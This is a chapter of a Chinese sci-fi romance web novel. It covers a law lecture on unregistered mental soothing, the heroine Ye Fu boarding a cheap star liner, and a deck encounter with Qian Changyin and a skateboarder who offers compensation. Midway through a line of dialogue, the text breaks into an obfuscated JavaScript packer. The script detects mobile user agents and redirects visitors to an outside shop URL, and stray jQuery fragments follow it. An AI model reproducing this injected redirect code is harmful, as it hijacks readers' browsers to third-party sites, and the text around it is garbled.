救济院大课堂,阶梯教室
台上老师姓吴,一个戴着薄片眼镜的中年女人,能力非常强。她本是其他星区一所高校的院长,学术造诣极深,因为“教书育人”之心不减,每个月都会抽出时间专程来救济院给这帮孩子上课,风雨无阻,分文不取。
现在上的是《联邦精神安全法》第十一条“向导对哨兵进行精神疏导,原则上必须经由白塔精神事务管理局备案。未经登记的精神疏导行为,视情节轻重,处以罚款或精神监禁。”
“老师?”一个男生举手:“那我在街边摆个摊,写‘向导疏导,十分钟二百’,需要备案吗?”
吴老师笑了:“你不仅要备案,你还先得给你的摊把营业执照办了,精神事务管理局来不来不确定,但税务局肯定要来。”
众人哄堂大笑。
“老师老师!”又有人提问:“如果有一个哨兵,张三,走在路上,突然精神力崩溃,倒在地上抽搐。此时李四路过——他是注册向导,看见张三快死了,当场帮他稳定了精神图景。事后张三活了,反手把李四告了,说李四未经备案非法精神疏导。”
教室里安静了两秒,然后集体发出“切”地一声。
“这个叫.....”吴老师转身,在屏幕上打出四个字:“紧急避险。”
她握着话筒,娓娓道来:“你们可以看一下,《联邦精神安全法》第五十六条,【在他人生命或精神域面临重大、紧迫、不可逆的损害时,未经备案的精神疏导行为,可以视作‘紧急避险’,不构成违法。”
有人问:“那李四救完人后,收张三的钱呢?”
“收钱就变味了,那不叫紧急避险,叫敲诈勒索。”
“如果张三非要给,说‘你不收我过意不去’呢?”
“那你就说‘你再这么客气,下次我不救了’。”
教室里有人笑了。
刚好也就在这个时候,叶芾的光脑响了。她打开来看,是一封来自星域青少年科学竞赛组委会的邮件,通知她作为救济院推选的代表,前往领区“绿原”参加竞赛。
比赛时间在下周,不过要提前一周过去参加集训。
叶芾关掉光脑,心里说不清楚是什么情绪。
在枯燥的学习之余,可以借竞赛为由出去放松下,当然是好的。但救济院这群领导的德行她再清楚不过,大大小小的竞赛她不知拿了多少次奖杯,奖金一次都没发下来过,问就是举办方的奖金还没到账。
所以她每回出去参加比赛,衣食住行交通,全部都要自己倒贴。
叶芾想到自己那四位数的余额,开始后悔自己没早点出去摆摊,脸是给别人看的,钱是自己的。
心里是这么想,一下课,叶芾还是立马回到宿舍收拾行李,几件换洗的衣服,洗漱用品,充电器,水杯。东西不多,很快就收拾完了。
给班主任和教导主任一一打好招呼,她带上行李走出校园。
奇点星到绿原的距离有些远,最快捷舒适是坐星舰或者军船,40分钟就能到。但这不是普通人能够得着的。叶芾提上行李,买了最便宜的星际客轮,虽然船上三教九流什么人都有,虽然路程颠簸要18个小时,但它便宜。
这就够了。
叶芾踏上舷梯,站在甲板上,左手提着行李箱,右手捏着船票。船票背面印着客轮的平面结构图,她正低着头专心研究那些弯弯绕绕的走廊,试图从那复杂的结构图里找到自己的房间号。甲板上的风很大,吹得脆薄的纸票不断翻飞,叶芾又太过专注,以致于一个踩着滑板的男生迎面冲向她时,她根本没来得及挪让半步。
“快让开!”男生冲她大声嚷道。
而等叶芾抬起头时,男生连同滑板快要一起撞到她。
叶芾瞳孔放大,就在手足无措之际,一只修长温润的大手握住她瘦削的肩膀,然后指节收拢,带着不容挣扎的力道,将她从原地带离,撞向自己的怀抱。
叶芾霎时陷入一个宽大清冽的怀抱。对方的手臂从她的身侧绕过来,箍住了她的后背。那只手臂很有分量,隔着衬衫的薄面布料,她清晰感受到底下紧实有力的肌肉。
她的脸完全埋进他胸口,额头抵在他锁骨下方。衬衫下,胸肌的轮廓宽大而厚实,不夸张,但均匀、饱满,随着呼吸一起一伏,让她的鼻尖跟着轻轻颤动。她鼻尖埋在里面,嗅到在干燥的织物气息之外,独属于他的一种清冽高级的冷调香。叶芾闻到了西伯利亚松针,以及鼠尾草的味道。
叶芾等回过神后,才惊觉自己整个人都在男人怀中。她忙不迭后退一步,慌忙从他怀里离开。
胸前残留的她的体温和发香在快速散去。钱长胤咬了咬牙,竟然有点不舍这个怀抱。
方才一起发生的太快,那个踩滑板的男生从甲板那头冲过来时,他正站在十几米外的地方,目光正掠过攒动的人头,专注打量着她。
他见她提着行李,低着头看船票,对正在逼近的危险浑然不觉。报告里写的涉嫌杀害哨兵的嫌犯,竟出乎意料的独桀、沉静。
客船上人物混杂,她穿着学校廉价的夏季校服误入其间,银发曲卷,绿眸懵懂。如密林深山间,横生出的一只孤冷、灵气的精灵。
显然,这里不止他一个人在关注她。那个男生从叶芾出现在甲板后,眼睛就没从她身上离开过,那眼神里的东西令人作呕。钱长胤远远望着,心底久违地升起一股戾气,想把那双银、秽的眼珠子挖出来。
救人是意料之外,身体比脑子先做出反应,等他回过神来,人已经在怀里了。
奇怪,钱长胤想,风度是假的,自己从来不是个会英雄救美的人。
刚才竟然鬼迷心窍了?
“抱歉.....”
叶芾抬起头来,视线从他的衣领一路往上,越过他耸立的喉结,利落分明的下颌线条,越过他完美的薄唇和高挺的鼻梁,终于看到了那双冷灰色的桃花眼。
形似于她的桃花眼,细究又很不一样。
叶芾的桃花眼眸底一片清明,澄如秋水,万籁俱生俱灭。而他这双眼睛,瞳孔一片冷凝,深如沉渊,眼尾处又自然上扬,自带多情云水意。
“我不是故意的,没撞疼你吧?”
钱长胤还没开口,一边,地上的男生阴测测注视着他俩“喂,我说,现在有事的是我好吗?”
两人双双向他看去。
踩滑板的金发男生从地上腾地一下站起,蓝色耳钉被阳光折射得一闪一闪,他拍了拍手上的灰,看着对面站在一起特别养眼的两人,视线落在叶芾脸上,语气发酸:“不是你刚才被他拉走了,我也不会摔在地上,你怎么不问问我有没有事?”
他阴阳怪气瞅了一眼她身旁的男人,质问她:“就因为他好看,就不管我死活?”
其实凭良心讲,他那张脸也很精致漂亮,即便与钱长胤站在一起也不遑多让。只是他金发红眼,五颜六色的T恤衫搭配故意做旧的休闲裤,浑身上下顽劣公子哥的气质,实在难以让人心生同情。
叶芾对他这种倒打一耙的行为感到匪夷所思,她走过去,仰头盯着他:“甲板那么多人,你还要在上面玩滑板,你有没有点安全意识?还是说撞到人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653558|206675||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你也无所谓?因为你根本不把别人的性命当回事?”
她的目光与他的撞到一起,只一瞬,男生那张脸迅速烧起来,从颧骨一路红到耳根,耳垂红得像在滴血,不知是羞的还是恼的。
他的同伴们大约是商量好一同出游,方才还在只供vip客户休息的顶层甲板上俯瞰星云,远远望见这边起了争执,几人迅速跑下围到他身边,七嘴八舌。
“唐澄,没摔到哪吧,身上有没有事?”
“你看你这脸红的,是不是撞到头了?”
唐澄被这些人围着,又是抬胳膊又是摸脑门,平日里不觉得怎样,此时被叶芾那双桃花眼不偏不倚瞧着,不知怎的,他浑身突然就不自在起来。
他甩开身上的手,恼羞道:“别摸了,我没事!”
他身边一个跟班讪讪收了手,转头瞥了一眼还站在这的叶芾,从头到尾将她评判了一通,看她穿得也不像有钱人的样子,随即把气撒向她:“看什么?见有人摔了,都不知道过来扶一把?”
叶芾冷笑出声:“什么东西,也敢指挥上我了。”
那人语气一滞:“你说什么?”
“够了,闭嘴”
唐澄转头狠狠瞪了一眼那人,又转向叶芾,语气和缓下来:“我.....”
“给我道歉。”
唐澄眼皮一抬:“什么?”
“道歉!”叶芾语气有些不耐:“你差点撞到我了,要不是有好心人拉我一把,我现在就受伤了!”
“我不!”唐澄下颌紧崩,态度坚决“我又没撞到你,我没错!”
叶芾秀眉一拧,怒火正慢慢在眼中堆积,下一秒,就听对面说:“但我可以赔钱。”
怒火急速退去,叶芾心中的怨气消失得无影无踪。
也不算无可救药,叶芾心想,还是很懂礼貌的。
“赔多少?”叶芾问。
唐澄眼皮一掀,瞅她那憋不住的开心样,心底嗤了一声,哼,财迷。但他自己也没忍住,嘴角往上弯了一下。
也不知在高兴什么。
他偏过头,清了清嗓子:“你光脑打开,咱俩加个联系方式,钱我转你。”
“行。”
两人加好联系方式,叶芾转身,见钱长胤没有走,还在那边看着自己,脸色却比之前沉了几分。
叶芾不懂,他这是怎么了?
她走到钱长胤面前,唇角弯起,笑得很有礼貌:“谢谢您,方才要不是您,现在摔在地上的人就是我了。”
“怎么谢?”钱长胤手插在裤兜里,一身燥意,与方才的端方优雅判若两人。
“啊?”
叶芾愣了一瞬,笑容僵在嘴角。他浑身上下虽然没有一个logo,但布料质地和肩线的服帖弧度,一看就属上乘,叶芾知道真正“顶贵”的家里会养“特供”的裁缝。这些裁缝只服务于这一个家族的成员。
“在这场闹剧中唯一受伤的人只有我。”他抬手指了指自己的胸口,叶芾刚刚撞上去的痕迹还在:“救你的人因你受伤,你总不能空口道谢吧。”
叶芾嘴角的弧度慢慢瘪下去,方才飞扬的神采一扫而空,她沉默了下:“他刚给我转的钱,我分你一半?”
钱长胤低头看她,没说话,那眼神显然不同意。
她终于连眼里的光都灭了,像个泄了气的皮球,整张脸垮下去:“都给你,他刚才转给我的,全都给你,可以吗?”
钱长胤点了点头,丝毫没有要婉拒的意思。他从口袋里抽出左手,点亮光脑。
“加我,记得把钱转过来。”